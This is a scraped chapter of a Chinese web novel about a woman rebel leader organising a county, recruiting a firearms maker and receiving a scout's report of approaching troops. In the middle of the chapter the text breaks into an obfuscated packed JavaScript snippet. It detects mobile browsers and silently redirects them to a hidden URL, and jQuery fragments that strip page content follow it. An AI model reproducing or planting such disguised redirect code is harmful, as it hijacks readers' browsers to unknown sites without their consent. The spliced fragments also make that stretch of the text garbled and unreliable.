215.第 215 章

作品:《逃荒就逃荒,最后逃成了皇帝?

    街道上人太多,李沐奕和陆安一直牵着马往县衙走。


    陆安听着他们议论,越听越开心:“姨母,大家很喜欢你。”


    李沐奕听了一路自己的八卦,有些事她自己都不知道是她做的。


    也听了一路大家对此事的看法,总结一句话就是老百姓要的很简单,不过吃饱穿暖而已,可就是这么简单的愿望,却从未被重视过,如今他们寄希望于自己,自己不能让他们失望。


    “李娘子,今年真的不用交税?”有个胆大的书生问。


    李沐奕看着他,回答得十分认真:“不用,今年免税。”


    “那你靠何打仗,士兵们吃的怎么办?你可缺打仗的人手,我来,我可以。”被她救过的书生担忧地问。


    “还有我。”


    “对,我也去。”


    她停下来看着几个书生,倒是些有勇的。


    “现在暂时还没出个章程,等处理完知州和知州叔叔的事,我会跟他们商量,到时有了章程会贴告示,我们先告辞。


    “知州?知州的叔叔?”


    “我知道我知道。”


    “你又知道了,当然了我表弟……”


    “别废话了,快说,急死个人。”


    ……


    县衙里。


    “赵大哥让人把冯令啸叔侄的事传出去的?”李沐奕问。


    “是,我怕百姓对主公有意见,便把姓冯的做的事让人说出去了,这件事柔儿和她娘都同意的。”赵文实坐在下面说。


    李恒晟见他们说完,提起了另外的事:“娘,地蛋产量高,吃不完长芽子会坏,我们可以在县里开粉条坊,跟百姓收地蛋,做成粉条卖到别的地方,这样百姓能拿到钱,我们也能多个进项。”


    李沐奕赞赏地说:“不错,是个好想法,让百姓赚了卖地蛋的银钱,多出了工作岗位,百姓们可以去做工,而粉条厂可以作为县里的产业,也可以找商人入股投资,给衙门创收,这事你写个计划,我看了可以的话,交给你子庆二伯去做。”


    说完土豆的事,她看向赵文实。


    “三百多贼人来县里时,我似乎听到一声响动,可是火铳的声音?”


    赵文实满脸钦佩:“主公竟知道火铳!火铳是我家乡一位老友所做,他全家都是匠籍,当年其他人所做的火铳爆炸,伤到了一位将军,他们这批人被罚流放。”


    “谁知流放路上遇到土匪,被杀的被杀,跑的跑,我这友人不敢回家,辗转找到了我,我怕他被外人发现,便让他做了花匠,两把火铳是他手痒所做。”


    李沐奕听完惊喜,本朝火器飞速发展,已经相当先进,同时代可以说世界领先也不为过,若不是前世最后一个封建王朝止步不前,世界是什么格局未可知。


    “他可愿意做他老本行?”


    赵文实激动地一握拳:“自是愿意,他不止说过一次,他现在就在村子里。”


    这人要赶紧用起来,李沐奕看着他说:“行,一会你找人回去一趟,让他去找公输珵禹,跟他一起研究火器,这方面的事公输珵禹全权负责,顺便让家眷们回来吧。”


    “是,这公输家莫不是也是匠籍?”赵文实早想问了。


    念念在旁边趴着无聊,把头放在她膝盖上,让她顺毛:“就是你想的那个玩木头的行家,逃荒路上救的。”


    “对了,以后找我去中转仓库就行,我带着孩子们在那儿住,这样来县里也方便,若是石敢当回来,直接让他去那找我汇报。”


    李恒昭高兴不已:“娘,弟弟妹妹们也来了?”


    “不仅他们来了,家里的狼和虎也来了,今天既然没有其他事,我们回。”她拍拍念念的头,示意起来回家。


    “恭送主公。”赵文实二人站起来拱手相送。


    大家吃着晚饭,李沐奕问:“房间怎么安排?”


    李恒煦咽下嘴里的饭:“大门在东南,前面是六排大仓房,房间在第七排和第八排,每排十五间房,东西各有过道去后院。”


    “罗姨他们住第八排,柴房、灶房与餐厅在第八排最东侧。”


    “咱们住第七排,自西向东第一间给我们三个住,第二间给娘,第三间是娘的书房,第四间是小黑他们,第五间是我们几个的书房。”


    “我们三个在最里面,可以和哥哥们隔开,娘还可以保护我们,娘的住处和书房最要紧,东边是小黑他们和一间书房,可以把娘也隔开,小黑他们警觉可以防止坏人靠近。”


    “第六间给大哥和大嫂,第七间给二哥和二嫂,第八间恒耀他们几个住,第九间给陆安哥。”


    “第十间十一间是娘见外客的地方,十二间是咱家的客厅,第十三间可以找公输伯伯他们做成卫生间,最后两间是客房,客厅和卫生间可以隔开客人住的地方,这样安排可好?”


    孩子们大了,安排事情安排的越来越周全,把他们放在身边多见识一些,确实挺好。


    李沐奕欣慰地夸奖:“想的十分周全,可真是厉害。”


    “大家一起商量的,觉得这样更好些,娘,桃桃放在娘房间的桌子上了。”李恒煦被夸了很高兴。


    “好,桃桃就放那,白天我把她拿出去晒太阳。”


    第二天,在村里的县衙人和家眷陆续返回,不管是吃饭用的粮食还是种子,开始陆续往县里运。


    做火器的许毅去找了公输珵禹,整个县如同没有造反这件事,有条不紊如常运作。


    这天半夜,大门被敲响,门外传来石敢当的声音:“我找主公有大事。”


    方大傻守在门房快速开门,接过马的缰绳系在门口旁的石柱子上,要去找周年华的时候,李沐奕已经穿好衣服拿着火把出了房间。


    “石敢当过来,大傻,让罗姐给他做锅面,再上壶温茶水,烧好洗澡水。”


    拿着火把进了会客室,把桌子上的油灯点燃后,又把火把插到门口墙边的火把架子上。


    “如何了?”


    石敢当坐在椅子上,喘匀了气说:“这条路我跑的熟,闭着眼睛也能跑,所以初二下午走,昼夜未停,初三一早到了府城外不远,想来报信的人也才到不久,我在府城外军营四周悄悄转了一圈,发现他们在调军。”


    “当天下午我在官道上等,没见他们,又等了一上午,发现他们调了七八百人,接着我绕了林子里的路,绕到他们前面,快马加鞭赶回来了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295519|191002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    李沐奕靠在椅子上,听完石敢当的话后:“七八百人不够一个千户所,带队的可是冯庆峰?或者他可在队伍里?他们行军速度又如何?”


    石敢当满脸疲惫:“我不清楚为何只有七八百人,我拿着赵大哥找他们管家画的画像比对过,队伍里没有冯庆峰,以他们的速度,最多五天就能到。”


    她一边思索一边说:“冯庆峰无所出,十分宝贝唯一的侄子,只派了七八百人,去传话的人可能并没有如实说冯令啸受了这等伤,冯庆峰觉得县衙不敢对他侄子做什么,所以只派了这些人来威慑,并没有亲自过来。”


    “最多五天到这里,还不急,这几天你辛苦了,今晚和明天你好好休息,后天一早再探再报。”


    这时周年华到了门口。


    李沐奕示意她进来。


    石敢当太渴,接过水壶时没注意摸了一把周年华的手,站起来低声道歉:“抱歉,我不是有意的。”


    周年华眼里闪过一丝慌乱,随即摇摇头。


    他接过水壶摸了一把,并不烫手,直接灌进嘴里,温水下肚,他身上的汗更多了,似是浑身都不自在,扯扯衣服:“来壶凉水。”


    周年华为难地说:“现在的确是夏日,可凉水伤身且急饮水容易出现危险,温水正好。”


    石敢当灌水的手突然停住,放下茶壶给自己倒了一小杯,慢慢喝起来:“多谢好意。”


    李沐奕笑着看了两人一眼,之前在村里,石敢当来家里后,眼神就时不时落在周年华身上。


    周年华是堕民,比奴籍还不如,之前受过很多苦,要不是因为语言天赋过于出众,各地方言几乎一学就会,给买她的主家带来了许多便利,过的还会更惨。


    最后一任主家,家里正妻早看不惯周年华跟着家里男人走商,在家里不再走商后,诬陷她与马夫有染,把两人一起发卖了。


    石敢当虽然表面是个大老粗,实则心细如发,长相也是浓眉大眼的周正型,若周年华他俩能成,对两人来说都是很不错的姻缘。


    想着他俩的事,李沐奕看向周年年:“去端面吧。”


    “你的房间在隔壁,明天我们不吵你,你想睡到什么时候就睡到什么时候,我先回了。”


    说完起身回了房间。


    第二天中午。


    石敢当走到门口往库房房顶看:“天要下雨,你俩咋上去的,别把瓦片踩坏了。”


    踏雪和如风不理他,趴在库房的房脊上要多惬意有多惬意。


    “石公子起来了,夫人让我留了饭,在后边餐房,请随我来。”周年华从后院走过来说。


    “哦,好。”石敢当打个哈欠往后面走,“主公他们呢?”


    周年华脸色苍白:“去县里了。”


    石敢当看了她一眼,微眯眼语速快了些:“不舒服?可要去看郎中?”


    周年华一脸诧异,没想到他一个大老粗能看出来,挤出一个笑说:“不打紧,劳石公子关心。”


    石敢当心里了然,挑眉说:“那你去打了热水歇下,不用管我,我又不是什么客人,快去。”


    周年华看他不是客套,行了礼告退,打了一壶热水回了屋。